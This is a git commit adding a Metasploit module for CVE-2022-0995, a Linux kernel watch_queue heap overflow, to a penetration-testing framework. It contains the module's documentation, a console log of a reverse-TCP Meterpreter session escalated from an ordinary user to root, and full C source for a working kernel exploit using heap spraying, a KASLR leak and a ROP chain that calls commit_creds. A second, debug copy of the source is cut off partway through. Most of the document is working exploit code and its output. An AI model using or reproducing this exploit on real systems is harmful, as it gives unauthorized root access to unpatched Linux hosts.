Land #1642, Add module for cve-2022-0995

This commit is contained in:
Grant Willcox 2022-04-21 09:12:47 -05:00
commit e2c6c36b2b
No known key found for this signature in database
GPG Key ID: D35E05C0F2B81E83
5 changed files with 1270 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,159 @@
## Vulnerable Application
This module exploits a vulnerability in the Linux Kernel's watch_queue event
notification system. It relies on a heap out-of-bounds write in kernel memory.
The exploit may fail on the first attempt so multiple attempts may be needed.
Note that the exploit can potentially cause a denial of service if multiple
failed attemps occur, however this is unlikely.
### Install
The vulnerability exists in linux kernel versions up to 5.17 rc8; this module only contains offsets for Ubuntu 21.10
kernel 5.13.0-37. More offsets may be added later.
Install Ubuntu 21.10
`apt-get install linux-image-5.13.0-37-generic`
Hold shift when you reboot and select the proper kernel version
## Verification Steps
1. Make an Ubuntu target.
1. Create a Meterpreter or shell payload and upload it to the Ubuntu target.
1. Set up a handler for the payload.
1. Launch the payload as a regular user on the Ubuntu target.
1. Do: `use exploit/linux/local/cve_2022_0995_watch_queue`
1. Do: `set payload <payload>`
1. Do: `set lhost <ip>`
1. Do: `set [r|l]port <port>`
1. Do: `run`
1. You should get a new shell as the `root` user.
## Options
### COMPILE
[Auto|True|False] This selects the binary to use. `True` will cause the module to upload the source
code and perform compilation on target, `False` will cause the module to upload a precompiled binary.
`Auto` will cause the module to try compiling the exploit on the target but will fall back to the
precompiled option if a compiler cannot be found.
### DEBUG_SOURCE
[True|False] This selects whether or not the module should use source code with debug prints when
uploading and compiling on disk. If set to `True` the module will use source code with prints
that assist with troubleshooting failed exploits. If set to `False` the module will use source code
without these debug statements/prints. Note if it is not possible to compile the code on the target,
the precompiled binary will be used which has no debug print statements.
### WritableDir
This indicates the location where you would like the payload and exploit binary stored, as well
as serving as a location to store the various files and directories created by the exploit itself.
The default value is `/tmp`
## Scenarios
### Ubuntu 21.10 x64 With Linux 5.13.0.37-Generic
```
msf6 payload(linux/x64/meterpreter/reverse_tcp) >
[*] Started reverse TCP handler on 10.5.135.101:4567
[*] Sending stage (3020772 bytes) to 10.5.134.157
[*] Meterpreter session 1 opened (10.5.135.101:4567 -> 10.5.134.157:34614 ) at 2022-04-12 21:04:39 -0500
msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : 10.5.134.157
OS : Ubuntu 21.10 (Linux 5.13.0-37-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: msfuser
meterpreter > background
[*] Backgrounding session 1...
msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/cve_2022_0995_watch_queue
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2022_0995_watch_queue) > show options
Module options (exploit/linux/local/cve_2022_0995_watch_queue):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
DEBUG_SOURCE false no Use source code with debug prints to help troubleshoot
SESSION yes The session to run this module on
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.5.135.101 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Ubuntu Linux 5.13.0-37
msf6 exploit(linux/local/cve_2022_0995_watch_queue) > set session 1
session => 1
msf6 exploit(linux/local/cve_2022_0995_watch_queue) > set verbose true
verbose => true
msf6 exploit(linux/local/cve_2022_0995_watch_queue) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Started reverse TCP handler on 10.5.135.101:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Version array: ["5.13.0", "37", "generic"]
[*] major_version: 5.13.0
[*] minor_version: 37
[+] The target appears to be vulnerable.
[*] Version array: ["5.13.0", "37", "generic"]
[*] major_version: 5.13.0
[*] minor_version: 37
[*] Creating directory /tmp/.nILfP259
[*] /tmp/.nILfP259 created
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/.nILfP259/.7BZngDv' (250 bytes) ...
[*] Launching exploit...
[*] Running: /tmp/.nILfP259/.gJKqSJssjC /tmp/.nILfP259/.7BZngDv
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3020772 bytes) to 10.5.134.157
[+] Deleted /tmp/.nILfP259/.gJKqSJssjC
[+] Deleted /tmp/.nILfP259
[*] Meterpreter session 2 opened (10.5.135.101:4444 -> 10.5.134.157:50382 ) at 2022-04-12 21:05:25 -0500
[*]
meterpreter > sysinfo
Computer : 10.5.134.157
OS : Ubuntu 21.10 (Linux 5.13.0-37-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
meterpreter >
```
## Notes
### Included Binaries
The binary used by this exploit `data/exploits/CVE-2022-0995/cve_2021_3493.x64.elf` can be used separately from
Metasploit. The binary takes a single argument which is the payload or executable you wish to launch as `root`.
The following snippet shows an example of how one might run this binary with the `/bin/bash` executable to get
a new Bash shell as the `root` user.
```
msfuser@msfuser-virtual-machine:~$ id
uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
msfuser@msfuser-virtual-machine:~$ ./cve_2021_3493.x64.elf /bin/bash
root@msfuser-virtual-machine:~$
```

View File

@ -0,0 +1,445 @@
#define _GNU_SOURCE
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include <sched.h>
#include <pthread.h>
#include <poll.h>
#include <assert.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/sched.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/watch_queue.h>
#define MSGMSG_SPRAY 2000
#define MSGMSG_FREE_IDX_0 0
#define MSGMSG_FREE_IDX_1 1950
#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x43
#define PRIMARY_SIZE 96
#define SECONDARY_SIZE 1024
#define N_SOCKS 4
#define N_SKBUFFS 128
#define NUM_PIPEFDS 256
#define CORRUPT_MSGMSG_TRIES 50
char* exec_path;
typedef struct {
long mtype;
char mtext[1];
} msg;
typedef struct {
uint64_t m_list_next;
uint64_t m_list_prev;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
} msg_msg;
struct pipe_buffer {
uint64_t page;
uint32_t offset, len;
uint64_t ops;
uint32_t flags;
uint64_t prv;
};
struct pipe_buf_operations {
uint64_t confirm;
uint64_t release;
uint64_t try_steal;
uint64_t get;
};
int32_t make_queue(key_t key, int msgflg) {
int32_t result;
if ((result = msgget(key, msgflg)) == -1) {
exit(-1);
}
return result;
}
ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
ssize_t ret;
ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
if (ret < 0) {
exit(-1);
}
return ret;
}
ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
}
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) {
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) {
exit(-1);
}
return;
}
void shell() {
syscall(SYS_execve, exec_path, 0, 0);
}
//void shell();
// Ubuntu kernel 5.13.0-37-generic
// 0xffffffff813c6866 : push rsi ; mov edx, 0x415b00c3 ; pop rsp ; pop rbp ; ret
uint64_t PUSH_RSI_POP_RSP_RBP_RET = 0xffffffff813c6866 - 0xffffffff81000000;
// 0xffffffff8109507d: pop r12; pop r15; ret;
uint64_t POP_POP_RET = 0xffffffff8109507d - 0xffffffff81000000;
// 0xffffffff81095080: pop rdi; ret;
uint64_t POP_RDI_RET = 0xffffffff81095080 - 0xffffffff81000000;
// 0xffffffff81509a39: xor dh, dh; ret;
uint64_t XOR_DH_DH_RET = 0xffffffff81509a39 - 0xffffffff81000000;
// 0xffffffff815c0d54: mov rdi, rax; jne 0x7c0d41; xor eax, eax; ret;
uint64_t MOV_RDI_RAX_JNE_RET = 0xffffffff815c0d54 - 0xffffffff81000000;
uint64_t KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ = 0xffffffff81e0100b - 0xffffffff81000000;
uint64_t PREPARE_KERNEL_CRED = 0xffffffff810d45d0 - 0xffffffff81000000;
uint64_t COMMIT_CREDS = 0xffffffff810d4370 - 0xffffffff81000000;
uint64_t ANON_PIPE_BUF_OPS = 0xffffffff8223ffc0 - 0xffffffff81000000;
uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell;
uint64_t kaslr_base = -1;
typedef struct watch_notification_type_filter wntf_t;
typedef struct watch_notification_filter wnf_t;
int spray_qids[MSGMSG_SPRAY];
int ss[N_SOCKS][2];
int pipe_fds[NUM_PIPEFDS][2];
unsigned int real_idx = -1, corrupted_idx = -1;
/*
spray using msg_msg
*/
void spray_msgmsg() {
char buffer[0x2000] = {0};
msg *message = (msg *)buffer;
for (int i = 0; i < MSGMSG_SPRAY; i++) {
int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
spray_qids[i] = spray;
memset(buffer, 0x42, sizeof(buffer));
((unsigned long*)message->mtext)[0] = i;
((unsigned long*)message->mtext)[5] = 0x0; // later this will probably be a msg_msgseg.next, we want it 0x0
message->mtype = MTYPE_PRIMARY;
send_msg(spray, message, PRIMARY_SIZE - 0x30, 0); // Each queue has 1 96 and 1 1024 msg_msg
if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1)
continue;
message->mtype = MTYPE_SECONDARY;
send_msg(spray, message, SECONDARY_SIZE - 0x30, 0); // queue --next-> 96 --next-> 1024 <-queue--
}
}
void delete_msgmsg(int i, int sz, long mtype) {
char buf[0x2000] = {0};
get_msg(spray_qids[i], buf, sz - 0x30, mtype, IPC_NOWAIT);
}
void check_corruption() {
char buf[0x2000] = {0};
msg *message = (msg *)buf;
for (int i = 0; i < MSGMSG_SPRAY; i++) {
if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1)
continue;
get_msg(spray_qids[i], buf, SECONDARY_SIZE - 0x30, 1, MSG_COPY|IPC_NOWAIT);
if (((uint64_t*)message->mtext)[0] != i) {
real_idx = i;
corrupted_idx = ((uint64_t*)message->mtext)[0];
break;
}
}
}
void cleanup_msgmsg() {
for (int i = 0; i < MSGMSG_SPRAY; i++) {
if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1 || i == real_idx || i == corrupted_idx)
continue;
msgctl(spray_qids[i], IPC_RMID, NULL);
}
}
/* */
/*
kmalloc-1024 spray using skbuff
*/
int spray_skbuff(int ss[N_SOCKS][2], const void *buf, size_t size) {
for (int i = 0; i < N_SOCKS; i++) {
for (int j = 0; j < N_SKBUFFS; j++) {
if (write(ss[i][0], buf, size) < 0) {
return -1;
}
}
}
return 0;
}
int free_skbuff(int ss[N_SOCKS][2], void *buf, size_t size) {
for (int i = 0; i < N_SOCKS; i++) {
for (int j = 0; j < N_SKBUFFS; j++) {
if (read(ss[i][1], buf, size) < 0) {
return -1;
}
}
}
return 0;
}
/* */
void build_msgmsg(void* msg, uint64_t list_next, uint64_t list_prev, uint64_t next, uint64_t m_ts, uint64_t security, uint64_t mtype) {
((msg_msg*)msg)->m_list_next = list_next;
((msg_msg*)msg)->m_list_prev = list_prev;
((msg_msg*)msg)->next = next;
((msg_msg*)msg)->m_ts = m_ts;
((msg_msg*)msg)->security = security;
((msg_msg*)msg)->m_type = mtype;
}
void build_rop(uint64_t* rop) {
int k = 0;
rop[k++] = 0x0; // dummy rbp
rop[k++] = POP_POP_RET + kaslr_base; // skip pipe_buf->ops
rop[k++] = 0x0; // pipe_buf->ops
rop[k++] = 0x0; // dummy
rop[k++] = POP_RDI_RET + kaslr_base;
rop[k++] = 0x0; // rdi
rop[k++] = PREPARE_KERNEL_CRED + kaslr_base;
rop[k++] = XOR_DH_DH_RET + kaslr_base;
rop[k++] = MOV_RDI_RAX_JNE_RET + kaslr_base;
rop[k++] = COMMIT_CREDS + kaslr_base;
rop[k++] = KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ + kaslr_base;
rop[k++] = 0x0; // rax
rop[k++] = 0x0; // rdi
rop[k++] = user_rip; // user_rip
rop[k++] = user_cs; // user_cs
rop[k++] = user_rflags; // user_rflags
rop[k++] = user_sp; // user_sp
rop[k++] = user_ss; // user_ss
}
void save_state() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
int main(int argc, char* argv[]) {
if (argc != 2){
exit(1);
}
exec_path = argv[1];
// Assign to cpu 0
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) {
exit(1);
}
save_state();
int fds[2];
int nfilters = 4;
char buf[0x2000];
char secondary_buf[SECONDARY_SIZE - 0x140];
// Filter setup
wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t));
if (!filter) {
exit(1);
}
/*
STEP 1
Spray msg_msg: for each queue one msg in kmalloc-96 and one in kmalloc-1024
Corrupt a msg_msg.mlist.next in kmalloc-96, so that two msg_msg points to the same msg_msg in kmalloc-1024
*/
int ntries = 0;
do {
ntries++;
filter->nr_filters = nfilters;
for (int i = 0; i < (nfilters - 1); i++) { // choose kmalloc-96
filter->filters[i].type = 1;
}
// Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned
filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024
if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {
exit(1);
}
// Spray kmalloc-96
spray_msgmsg();
delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc
delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup
// Filter go
if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {
goto err;
}
check_corruption();
if (corrupted_idx != -1)
break;
cleanup_msgmsg();
} while (ntries < CORRUPT_MSGMSG_TRIES);
if (corrupted_idx == -1) {
exit(1);
}
delete_msgmsg(corrupted_idx, SECONDARY_SIZE, MTYPE_SECONDARY);
for (int i = 0; i < N_SOCKS; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
goto err;
}
}
memset(secondary_buf, 0x42, sizeof(secondary_buf));
build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, 0x0, 8192 - 0x30, 0x0, MTYPE_FAKE);
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
memset(buf, 0x0, sizeof(buf));
get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);
uint64_t primary_msg = ((uint64_t*)buf)[124];
if ((primary_msg & 0xffff000000000000) != 0xffff000000000000) {
goto err;
}
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
memset(secondary_buf, 0x42, sizeof(secondary_buf));
build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, primary_msg - 8, 8192 - 0x30, 0x0, MTYPE_FAKE);
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
memset(buf, 0x0, sizeof(buf));
get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);
uint64_t secondary_msg = ((uint64_t*)buf)[507];
if ((secondary_msg & 0xffff000000000000) != 0xffff000000000000) {
goto err;
}
uint64_t fake_secondary_msg = secondary_msg - SECONDARY_SIZE;
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
build_msgmsg(secondary_buf, fake_secondary_msg, fake_secondary_msg, 0x0, SECONDARY_SIZE - 0x30, 0x0, MTYPE_FAKE);
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
delete_msgmsg(real_idx, SECONDARY_SIZE, MTYPE_FAKE);
/*
STEP 2
Spray struct pipe_buffer, leak KASLR while reading and freeing sk_buffs
*/
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipe_fds[i]) < 0) {
goto err;
}
if (write(pipe_fds[i][1], "A", 1) < 0) {
goto err;
}
}
memset(secondary_buf, 0x0, sizeof(secondary_buf));
for (int i = 0; i < N_SOCKS; i++) {
for (int j = 0; j < N_SKBUFFS; j++) {
if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
goto err;
}
if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
kaslr_base = ((uint64_t*)secondary_buf)[2];
}
}
if (kaslr_base == -1 || ((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000)) {
goto err;
}
kaslr_base -= ANON_PIPE_BUF_OPS;
/*
STEP 3
Reallocate struct pipe_buffer overwrite _ops pointer and do stack pivoting
*/
struct pipe_buf_operations *ops;
struct pipe_buffer *pipe_buf;
memset(secondary_buf, 0x0, sizeof(secondary_buf));
pipe_buf = (struct pipe_buffer*)secondary_buf;
ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
ops->release = PUSH_RSI_POP_RSP_RBP_RET + kaslr_base;
build_rop((uint64_t*)secondary_buf);
pipe_buf->ops = fake_secondary_msg + 0x290;
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
cleanup_msgmsg();
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipe_fds[i][0]) < 0) {
goto err;
}
if (close(pipe_fds[i][1]) < 0) {
goto err;
}
}
return 0;
err:
cleanup_msgmsg();
return 1;
}

View File

@ -0,0 +1,488 @@
#define _GNU_SOURCE
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include <sched.h>
#include <pthread.h>
#include <poll.h>
#include <assert.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/sched.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/watch_queue.h>
#define MSGMSG_SPRAY 2000
#define MSGMSG_FREE_IDX_0 0
#define MSGMSG_FREE_IDX_1 1950
#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x43
#define PRIMARY_SIZE 96
#define SECONDARY_SIZE 1024
#define N_SOCKS 4
#define N_SKBUFFS 128
#define NUM_PIPEFDS 256
#define CORRUPT_MSGMSG_TRIES 50
char* exec_path;
typedef struct {
long mtype;
char mtext[1];
} msg;
typedef struct {
uint64_t m_list_next;
uint64_t m_list_prev;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
} msg_msg;
struct pipe_buffer {
uint64_t page;
uint32_t offset, len;
uint64_t ops;
uint32_t flags;
uint64_t prv;
};
struct pipe_buf_operations {
uint64_t confirm;
uint64_t release;
uint64_t try_steal;
uint64_t get;
};
int32_t make_queue(key_t key, int msgflg) {
int32_t result;
if ((result = msgget(key, msgflg)) == -1) {
perror("msgget failure");
exit(-1);
}
return result;
}
ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
ssize_t ret;
ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
if (ret < 0) {
perror("msgrcv");
exit(-1);
}
return ret;
}
ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
}
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) {
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) {
perror("msgsend failure");
exit(-1);
}
return;
}
void shell() {
syscall(SYS_execve, exec_path, 0, 0);
}
//void shell();
// Ubuntu kernel 5.13.0-37-generic
// 0xffffffff813c6866 : push rsi ; mov edx, 0x415b00c3 ; pop rsp ; pop rbp ; ret
uint64_t PUSH_RSI_POP_RSP_RBP_RET = 0xffffffff813c6866 - 0xffffffff81000000;
// 0xffffffff8109507d: pop r12; pop r15; ret;
uint64_t POP_POP_RET = 0xffffffff8109507d - 0xffffffff81000000;
// 0xffffffff81095080: pop rdi; ret;
uint64_t POP_RDI_RET = 0xffffffff81095080 - 0xffffffff81000000;
// 0xffffffff81509a39: xor dh, dh; ret;
uint64_t XOR_DH_DH_RET = 0xffffffff81509a39 - 0xffffffff81000000;
// 0xffffffff815c0d54: mov rdi, rax; jne 0x7c0d41; xor eax, eax; ret;
uint64_t MOV_RDI_RAX_JNE_RET = 0xffffffff815c0d54 - 0xffffffff81000000;
uint64_t KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ = 0xffffffff81e0100b - 0xffffffff81000000;
uint64_t PREPARE_KERNEL_CRED = 0xffffffff810d45d0 - 0xffffffff81000000;
uint64_t COMMIT_CREDS = 0xffffffff810d4370 - 0xffffffff81000000;
uint64_t ANON_PIPE_BUF_OPS = 0xffffffff8223ffc0 - 0xffffffff81000000;
uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell;
uint64_t kaslr_base = -1;
typedef struct watch_notification_type_filter wntf_t;
typedef struct watch_notification_filter wnf_t;
int spray_qids[MSGMSG_SPRAY];
int ss[N_SOCKS][2];
int pipe_fds[NUM_PIPEFDS][2];
unsigned int real_idx = -1, corrupted_idx = -1;
/*
spray using msg_msg
*/
void spray_msgmsg() {
char buffer[0x2000] = {0};
msg *message = (msg *)buffer;
for (int i = 0; i < MSGMSG_SPRAY; i++) {
int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
spray_qids[i] = spray;
memset(buffer, 0x42, sizeof(buffer));
((unsigned long*)message->mtext)[0] = i;
((unsigned long*)message->mtext)[5] = 0x0; // later this will probably be a msg_msgseg.next, we want it 0x0
message->mtype = MTYPE_PRIMARY;
send_msg(spray, message, PRIMARY_SIZE - 0x30, 0); // Each queue has 1 96 and 1 1024 msg_msg
if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1)
continue;
message->mtype = MTYPE_SECONDARY;
send_msg(spray, message, SECONDARY_SIZE - 0x30, 0); // queue --next-> 96 --next-> 1024 <-queue--
}
}
void delete_msgmsg(int i, int sz, long mtype) {
char buf[0x2000] = {0};
get_msg(spray_qids[i], buf, sz - 0x30, mtype, IPC_NOWAIT);
}
void check_corruption() {
char buf[0x2000] = {0};
msg *message = (msg *)buf;
for (int i = 0; i < MSGMSG_SPRAY; i++) {
if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1)
continue;
get_msg(spray_qids[i], buf, SECONDARY_SIZE - 0x30, 1, MSG_COPY|IPC_NOWAIT);
if (((uint64_t*)message->mtext)[0] != i) {
real_idx = i;
corrupted_idx = ((uint64_t*)message->mtext)[0];
break;
}
}
}
void cleanup_msgmsg() {
for (int i = 0; i < MSGMSG_SPRAY; i++) {
if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1 || i == real_idx || i == corrupted_idx)
continue;
msgctl(spray_qids[i], IPC_RMID, NULL);
}
}
/* */
/*
kmalloc-1024 spray using skbuff
*/
int spray_skbuff(int ss[N_SOCKS][2], const void *buf, size_t size) {
for (int i = 0; i < N_SOCKS; i++) {
for (int j = 0; j < N_SKBUFFS; j++) {
if (write(ss[i][0], buf, size) < 0) {
perror("[-] write");
return -1;
}
}
}
return 0;
}
int free_skbuff(int ss[N_SOCKS][2], void *buf, size_t size) {
for (int i = 0; i < N_SOCKS; i++) {
for (int j = 0; j < N_SKBUFFS; j++) {
if (read(ss[i][1], buf, size) < 0) {
perror("[-] read");
return -1;
}
}
}
return 0;
}
/* */
void build_msgmsg(void* msg, uint64_t list_next, uint64_t list_prev, uint64_t next, uint64_t m_ts, uint64_t security, uint64_t mtype) {
((msg_msg*)msg)->m_list_next = list_next;
((msg_msg*)msg)->m_list_prev = list_prev;
((msg_msg*)msg)->next = next;
((msg_msg*)msg)->m_ts = m_ts;
((msg_msg*)msg)->security = security;
((msg_msg*)msg)->m_type = mtype;
}
void build_rop(uint64_t* rop) {
int k = 0;
rop[k++] = 0x0; // dummy rbp
rop[k++] = POP_POP_RET + kaslr_base; // skip pipe_buf->ops
rop[k++] = 0x0; // pipe_buf->ops
rop[k++] = 0x0; // dummy
rop[k++] = POP_RDI_RET + kaslr_base;
rop[k++] = 0x0; // rdi
rop[k++] = PREPARE_KERNEL_CRED + kaslr_base;
rop[k++] = XOR_DH_DH_RET + kaslr_base;
rop[k++] = MOV_RDI_RAX_JNE_RET + kaslr_base;
rop[k++] = COMMIT_CREDS + kaslr_base;
rop[k++] = KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ + kaslr_base;
rop[k++] = 0x0; // rax
rop[k++] = 0x0; // rdi
rop[k++] = user_rip; // user_rip
rop[k++] = user_cs; // user_cs
rop[k++] = user_rflags; // user_rflags
rop[k++] = user_sp; // user_sp
rop[k++] = user_ss; // user_ss
}
void save_state() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
int main(int argc, char* argv[]) {
if (argc != 2){
perror("Incorrect number of arguments provided\n");
exit(1);
}
printf("Attempting to launch %s\n", argv[1]);
exec_path = argv[1];
printf("Trying to launch %s\n", exec_path);
// Assign to cpu 0
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) {
perror("sched_setaffinity()");
exit(1);
}
save_state();
int fds[2];
int nfilters = 4;
char buf[0x2000];
char secondary_buf[SECONDARY_SIZE - 0x140];
// Filter setup
wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t));
if (!filter) {
perror("calloc()");
exit(1);
}
/*
STEP 1
Spray msg_msg: for each queue one msg in kmalloc-96 and one in kmalloc-1024
Corrupt a msg_msg.mlist.next in kmalloc-96, so that two msg_msg points to the same msg_msg in kmalloc-1024
*/
puts("[+] STEP 1: msg_msg corruption");
int ntries = 0;
do {
ntries++;
filter->nr_filters = nfilters;
for (int i = 0; i < (nfilters - 1); i++) { // choose kmalloc-96
filter->filters[i].type = 1;
}
// Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned
filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024
if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {
perror("pipe2()");
exit(1);
}
// Spray kmalloc-96
spray_msgmsg();
delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc
delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup
// Filter go
if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {
perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)");
goto err;
}
check_corruption();
if (corrupted_idx != -1)
break;
cleanup_msgmsg();
} while (ntries < CORRUPT_MSGMSG_TRIES);
if (corrupted_idx == -1) {
puts("[-] couldn't corrupt msg_msg");
exit(1);
}
printf("[*] found corrupted msg_msg after %d tries. real: %d corrupted: %d\n", ntries, real_idx, corrupted_idx);
puts("[+] freeing corrupted msg_msg....");
delete_msgmsg(corrupted_idx, SECONDARY_SIZE, MTYPE_SECONDARY);
for (int i = 0; i < N_SOCKS; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
perror("[-] socketpair");
goto err;
}
}
memset(secondary_buf, 0x42, sizeof(secondary_buf));
build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, 0x0, 8192 - 0x30, 0x0, MTYPE_FAKE);
puts("[+] reallocating corrupted msg_msg....");
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
memset(buf, 0x0, sizeof(buf));
get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);
uint64_t primary_msg = ((uint64_t*)buf)[124];
if ((primary_msg & 0xffff000000000000) != 0xffff000000000000) {
puts("[-] wrong heap leak");
goto err;
}
printf("[*] primary_msg: 0x%lx\n", primary_msg);
puts("[+] freeing corrupted msg_msg....");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
memset(secondary_buf, 0x42, sizeof(secondary_buf));
build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, primary_msg - 8, 8192 - 0x30, 0x0, MTYPE_FAKE);
puts("[+] reallocating corrupted msg_msg....");
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
memset(buf, 0x0, sizeof(buf));
get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);
uint64_t secondary_msg = ((uint64_t*)buf)[507];
if ((secondary_msg & 0xffff000000000000) != 0xffff000000000000) {
puts("[-] wrong heap leak");
goto err;
}
printf("[*] secondary_msg: 0x%lx\n", secondary_msg);
uint64_t fake_secondary_msg = secondary_msg - SECONDARY_SIZE;
printf("[*] corrupted secondary_msg: 0x%lx\n", fake_secondary_msg);
